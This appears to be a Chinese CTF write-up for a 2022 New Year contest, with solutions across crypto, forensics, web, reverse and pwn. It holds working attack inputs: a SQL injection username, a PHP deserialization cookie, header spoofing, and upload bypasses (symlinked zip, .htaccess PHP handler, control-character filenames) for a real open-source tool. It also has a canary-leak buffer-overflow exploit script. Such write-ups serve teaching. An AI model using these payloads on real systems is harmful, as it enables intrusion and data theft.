榜单
本届Jack’s 2022 New Year CTF共有7人参加,瓜分了121.5元奖金。
Place | User | Score | Bonus |
---|---|---|---|
1 | undefined | 576 | 55.76 |
2 | bml | 576 | 25.76 |
3 | shadowmov | 431 | 24.31 |
4 | SY | 266 | 7.66 |
5 | 小红花 | 195 | 6.95 |
6 | jzqsss | 101 | 1.01 |
7 | TaQini | 5 | 0.05 |
本次比赛中,题目JackZIPPacker因无人解决,留到明年继续出题。
题目环境会始终开启,供大家玩耍。
Programming
A+B Problem
写一个程序,输出A+B的和。非常简单,简单的不能再简单了。AC之后从OJ系统里拿来flag提交即可。
Crypto
Common Encoding
密文:
TVpXR0NaMzNNSlFYR05DN09OVVhRNURaTDVUREE1TFNMNVFXNFpDN0dNWkY2MkxUTDRZVzQ1REZPSlNYRzVEU0dGWERTN0k9
先Base64解码,再Base32解码。
VeryEasyRSA
import math
from Crypto.Util.number import *
e = 65537
p = getPrime(256)
print("p = ", p)
# p = 101081115227848167912950053118050774914410534672241149008359507461010834998407
q = getPrime(256)
print("q = ", q)
# q = 88098086525716766238547888470825617159303577828468484959701406096934274289089
m = int.from_bytes(open("flag.txt", "rb").read(), "big")
c = pow(m, e, p * q)
print("c = ", c)
# c = 4823761740784458181711339957312182576096131121226828661451676917167282084956602786126342856063091347309430803488676646080346240712768489022546078719121056
这也是简单到不能再简单的RSA了。只要你去把RSA的运算流程看完一遍,照猫画虎即可。
import math, gmpy2
from Crypto.Util.number import *
e = 65537
p = int(input("p"))
q = int(input("q"))
c = int(input("c"))
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)
m = pow(c, d, p * q)
print("m = ", hex(int(m)))
将十六进制输出化为ASCII字符串即可得出flag。
Steganography
Dreamerjack’s Avatar
隐写信息隐藏在png图片RGB通道的LSB。可以使用zsteg或stegsolve软件读取隐写信息。
Forensic
ext4
ZIP中有一个ext4文件系统的img镜像,打开可得flag。
ud2
这道题本来想让大家用WinDbg做一下Core Dump的内存分析。结果,一堆人直接打开dump文件去搜flag{
也能找到,吐血。。。
Web
VeryVeryVeryVeryEasyWeb
<?php
if (isset(_POST['last_year']) && isset(_POST['current_year'])){
if (_POST['last_year'] === "2021" &&_POST['current_year'] === "2022") {
die('flag{this_1s_rea11y_very_very_very_very_very_very_very_very_very_e1sy}');
}
}
?>
Imagine that today is 2022.01.01 .
<form method="post">
<input type="text" value="2020" name="last_year" />
<input type="hidden" value="2023" name="current_year" />
</form>
Difficult Visit
<?php
function getIP(){
if (!empty(_SERVER['HTTP_CLIENT_IP'])){ip = _SERVER['HTTP_CLIENT_IP'];
} elseif (!empty(_SERVER['HTTP_X_FORWARDED_FOR'])){
ip =_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
ip =_SERVER['REMOTE_ADDR'];
}
return ip;
}
function getBrowser(){Agent = _SERVER['HTTP_USER_AGENT'];
if(preg_match("/DreamerjackBrowser/i",Agent))
return true;
return false;
}
if (!getBrowser()) {
die('You must use `DreamerjackBrowser` to access this page! ');
}
if (getIP() != '8.8.8.8') {
die('You must access this page via IPv4 8.8.8.8! ');
}
header('Flag: flag{UA_and_X-Forwarded-For_!$FUw92b-=#@!7hdfui}');
echo('You have successfully passed my test and will get the flag!');
?>
X-Forwarded-For
设置成8.8.8.8
, User-Agent
中需要带有DreamerjackBrowser
字样。
flag通过HTTP响应头返回。
SQLite3
非常简单的SQL注入:
<?php
include "flag.php";
if (isset(_GET['code'])) {
highlight_file(__FILE__);
die();
}
if (!isset(_GET['username']) || !isset(_GET['password'])) {
die();
}
class MyDB extends SQLite3
{
function __construct()
{
include "flag.php";this->open(db_path, SQLITE3_OPEN_READONLY);
}
}db = new MyDB();
user =_GET['username'];
password = md5(_GET['password']);
SQLStatement = "SELECT * FROM User WHERE Username = 'user' AND Password = 'password'; ";
var_dump(SQLStatement);
result =db->query(SQLStatement);loginedUser = result->fetchArray()['Username'];
if(loginedUser === 'admin'){
echo($flag);
}
?>
题目中已经指明要求用户名为admin
。而且采用拼接字符串的方式得到SQL语句。我们只要让密码任意,用户名为admin' OR '0' = '1
,就可以使得SQL语句变成SELECT * FROM User WHERE Username = 'admin' OR '0' = '1' AND Password = 'd41d8cd98f00b204e9800998ecf8427e';
。
可以得到flag。
Serialization
<?php
include "flag.php";
class MyFile {
public filename;
function __construct(stringfilename) {
this->filename =filename;
file_put_contents(filename, "flag{THis_1s_a_fake_FLAG}");
}
function __destruct() {
if (!file_exists(this->filename)) {
return;
}
result = file_get_contents(this->filename);
if (result !== false){
echoresult;
}
if (strpos(this->filename, "tmp") !== false){
unlink(this->filename);
}
}
}
if (isset(_GET['code'])) {
echo(__FILE__);
highlight_file(__FILE__);
die();
}
if (!isset(_COOKIE['file'])){
myFile = new MyFile(tempnam('', 'tmp'));
setcookie('file', serialize(myFile));
} else {
myFile = unserialize(_COOKIE['file']);
}
?>
反序列化将对象放在了Cookie里,让用户可控了。又因为对象销毁时会调用__destruct
,所以我们可以泄露flag.php
的内容。
因此构造Cookie['file']
的内容为O:6:"MyFile":1:{s:8:"filename";s:22:"/var/www/html/flag.php";}
。即可获得flag。
[Real] Linux ASM Call Graph
这道题目本来是我之前写的一个生成流程图的程序,之前打别家CTF的时候,遇到过ZIP可以上传软链接的题目。我这个程序也可以上传ZIP,本来想在这里出考点。没想到被同学们搞出了非预期解RCE。
源码在:https://github.com/bjrjk/LinuxASMCallGraph
本程序中,有漏洞的点位于web/index.php
,下面是Patch前后的Diff对比:
https://github.com/bjrjk/LinuxASMCallGraph/compare/55e98ff729e211a6392999ea8af6990d30a73366…c6579e34581ac9cc9da683d73c8658bcfc75711a
第一类漏洞点:ZIP可以解压Linux中的软链接。在Linux中,我们只要使用zip -y
就可以将软链接压缩进入压缩包。那么我们只要构造一个到/var/www/flag
的软链接并上传这个压缩包,再访问这个软链接就可以成功得到flag内容。它的修补方案是,通过zipinfo
检测其是否具有symlink属性,如果有symlink属性,直接拒绝解压。
然而绝大部分人都不是这么做的,他们都搞出了RCE[捂脸]。搞出RCE也有两种方法:
第二类漏洞点:程序里面本身过滤了PHP文件,所以我们不能想着直接上传PHP了。但因为使用的是apache服务器,因此上传.htaccess
文件,在其中加入一行AddType application/x-httpd-php abc
,就会把*.abc
文件当作PHP进行解析。因此禁用方法就是禁止上传.htaccess
。
第三类漏洞点:通过二进制编辑ZIP文件,使其文件名中包含不可见字符,例如CR或LF。使用unzip -l
在对ZIP列表进行查看时,假设碰到了文件名为.hta\nccess
的文件,会自动输出这个不可见字符的可见表示。但使用unzip
解压时,会自动把不可见字符去除。因此,只要在敏感文件名中加入不可见字符,就可以绕过unzip -l | grep
的限制。解决方案是,直接对unzip
解压时的输出进行过滤,解压时的文件名输出都是去除不可见字符的。此时的过滤是有效的。
本[Real]题目的生产环境漏洞已修补。如果需要复现,请参照commita5dbad8586c256a64f38517a46b91dd4a8d008c6
的内容进行复现(https://github.com/bjrjk/LinuxASMCallGraph/commit/a5dbad8586c256a64f38517a46b91dd4a8d008c6)。
Reverse
WinSyscall
#include<windows.h>
#include<fileapi.h>
#include<string.h>
int main(){
LPCSTR filename = "flag.txt";
HANDLE h = CreateFileA(filename, GENERIC_READ | GENERIC_WRITE, NULL, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
LPCSTR str = "flag{WinAPI_ef723g7##}";
DWORD writtensize;
WriteFile(h, str, strlen(str), &writtensize, NULL);
CloseHandle(h);
DeleteFileA(filename);
return 0;
}
这道题目的原题代码如上,是简单的调用Win32 API将flag写入flag.txt
中再删除。为了增加难度用UPX加了壳。
绝大部分做出来的人是直接用UPX脱壳机脱完之后直接送进IDA里看出来的,但我不推荐这么搞,太简单就没什么意思了。推荐的锻炼能力的做法是手动用OllyDbg或x96dbg自己脱一下之后再IDA,用ESP定律还是比较简单的。
还有,我本来是想用VMProtect加壳的,结果VMProtect加壳后我自己都脱不了了。虚拟机壳太难搞了。我只能作罢。
BabyWASM
是一道WASM的逆向入门题,WASM是一个基于栈的虚拟机,非常类似于后缀表达式的计算,WASM反汇编后如下:
(module
(table table0 1 1 funcref)
(memorymemory (;0;) (export "memory") 2)
(global global0 (mut i32) (i32.const 66576))
(global__heap_base (;1;) (export "__heap_base") i32 (i32.const 66576))
(global __data_end (;2;) (export "__data_end") i32 (i32.const 1035))
(func__wasm_call_ctors (;0;)
)
(func encrypt (;1;) (export "encrypt") (paramvar0 i32) (param var1 i32) (paramvar2 i32) (result i32)
local.get var1
local.getvar0
i32.add
local.get $var2
i32.const 11
i32.rem_u
i32.const 1024
i32.add
i32.load8_u
i32.xor
)
(data (i32.const 1024) "1\12t\112P\f8\1a\81}\81")
)
可以逆向出encrypt函数的表达式:(var0 + var1) ^ data[var2 % 11]
,即(chksum + cur) ^ key[pos % 11]
。其中unsigned char key_table[11] = {0x31, 0x12, 0x74, 0x11, 0x32, 0x50, 0xf8, 0x1a, 0x81, 0x7d, 0x81};
。
再相应推出decrypt的函数即可。
标准解答如下:
main.js:
var instance = null;
fetch('../out/main.wasm').then(response =>
response.arrayBuffer()
).then(bytes => WebAssembly.instantiate(bytes)).then(results => {
instance = results.instance;
}).catch(console.error);
function encrypt(chksum, cur, pos){
return String.fromCharCode(instance.exports.encrypt(chksum, cur, pos));
}
function decrypt(chksum, cur, pos){
return instance.exports.decrypt(chksum, cur, pos);
}
function invoke_encrypt(){
var buf = "";
var str = document.getElementById("encrypt_value").value;
var chksum = 0;
for(let i = 0; i < str.length; i++){
let asc = str[i].charCodeAt();
buf += encrypt(chksum, asc, i);
chksum += asc;
}
document.getElementById("container").textContent = window.btoa(encodeURIComponent(buf));
}
function invoke_decrypt(){
var buf = "";
var str = decodeURIComponent(window.atob(document.getElementById("decrypt_value").value));
var chksum = 0;
var i = 0;
for(let i = 0; i < str.length; i++){
let asc = str[i].charCodeAt();
asc = decrypt(chksum, asc, i);
buf += String.fromCharCode(asc);
chksum += asc;
}
document.getElementById("container").textContent = buf;
}
main.c:
#define WASM_EXPORT __attribute__((visibility("default")))
unsigned char key_table[11] = {0x31, 0x12, 0x74, 0x11, 0x32, 0x50, 0xf8, 0x1a, 0x81, 0x7d, 0x81};
WASM_EXPORT
unsigned encrypt(unsigned checksum, unsigned current, unsigned position) {
return (checksum + current) ^ key_table[position % 11];
}
WASM_EXPORT
unsigned decrypt(unsigned checksum, unsigned current, unsigned position) {
return (current ^ key_table[position % 11]) - checksum;
}
Pwn
DJCTF1
本题可以在Ubuntu 18.04上复现,源码及答案地址:
https://github.com/bjrjk/pwn-learning/tree/main/Canary/djCTF-1
首先检查ELF的保护信息:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
本题保护全开。
源码 djctf1.c:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void pwnable();
void init();
__attribute__((aligned(0x100)))
void flag(){
asm volatile(".byte 0x90");
asm volatile(".byte 0x90");
asm volatile(".byte 0x90");
asm volatile(".byte 0x90");
asm volatile(".byte 0x90");
asm volatile(".byte 0x90");
asm volatile(".byte 0x90");
asm volatile(".byte 0x90");
asm volatile(".byte 0x90");
asm volatile(".byte 0x90");
system("cat flag");
write(1, "Unbelieveable! You must be an experienced hacker!!\n", 51);
write(1, "That's your reward!!", 20);
}
int main(){
init();
write(1, "You are so lucky to have unlimited chance!!! xm!!!\n", 51);
while(1){
pwnable();
}
}
void init(){
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
}
void pwnable(){
char buf[0x10];
write(1, "> ", 2);
read(0, buf, 0x29);
write(1, "Let's check if you are successful. \n", 36);
puts(buf);
buf[0x18] = 0x00;
}
answer.py:
#!/usr/bin/env python2
from pwn import *
from LibcSearcher import *
from struct import pack
import os, base64, time
context(arch = "amd64",os = "linux", log_level = "debug")
p = process('./djctf1')
elf = ELF('./djctf1')
#gdb.attach(p, "b pwnable\n b flag")
# Canary Leak
p.recvuntil("> ")
p.sendline('0' * 0x18)
p.recvuntil('0' * 0x18)
canary_value = u64(p.recv(8)) - 0x0a
print("Canary: " + hex(canary_value))
# hijack control flow
p.recvuntil("> ")
#p.sendline('0' * 0x18 + p64(canary_value) + p64(0) + '\x00')
p.sendline('0' * 0x18 + p64(canary_value) + p64(0))
#time.sleep(10)
p.interactive()
大致的做法是:
首先泄露Canary。因为源码第40行恢复了Canary的最低字节,所以可以放心覆盖并泄露。
又因为我特意设计了ELF,使得pwnable()
的返回地址和flag()
函数的起始地址在同一页中,因此我们只需修改返回地址的最低字节,从而避免了ASLR的相关问题。
flag()
头部填充的0x90 NOP
指令是为了使得p.sendline
发送的最后一个字节为0x0A
时,能够使得控制流不至于转移到指令的中间而专门设立的。
Hacknote
见:https://renjikai.com/pwn-learning-summary-17/
顶